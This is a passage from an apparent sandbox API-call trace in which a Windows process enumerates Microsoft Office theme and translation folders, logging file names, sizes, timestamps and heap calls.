ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0286.932] GetProcessHeap () returned 0xaf0000 [0286.932] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.932] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.932] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.932] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0286.932] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0286.933] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.933] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.933] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.933] GetProcessHeap () returned 0xaf0000 [0286.933] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.933] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0286.933] GetProcessHeap () returned 0xaf0000 [0286.933] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.933] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.934] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.934] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0286.934] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0286.934] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.934] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.934] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.934] GetProcessHeap () returned 0xaf0000 [0286.934] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.934] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0286.934] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0286.935] GetProcessHeap () returned 0xaf0000 [0286.935] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0286.935] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.935] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.935] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.935] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0286.935] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0286.936] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0286.936] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0286.936] GetProcessHeap () returned 0xaf0000 [0286.936] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.936] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0286.936] GetProcessHeap () returned 0xaf0000 [0286.936] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.936] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.936] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.937] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.937] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0286.937] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0286.937] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0286.937] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.937] GetProcessHeap () returned 0xaf0000 [0286.937] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.937] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0286.937] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0286.937] GetProcessHeap () returned 0xaf0000 [0286.937] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0286.940] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0286.940] GetProcessHeap () returned 0xaf0000 [0286.940] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0286.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0286.943] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.943] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc85db99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc85db99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0286.943] GetProcessHeap () returned 0xaf0000 [0286.943] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc85db99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc85db99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.944] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc85db99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc85db99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.944] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0286.944] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0286.944] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.944] GetProcessHeap () returned 0xaf0000 [0286.944] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.944] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, 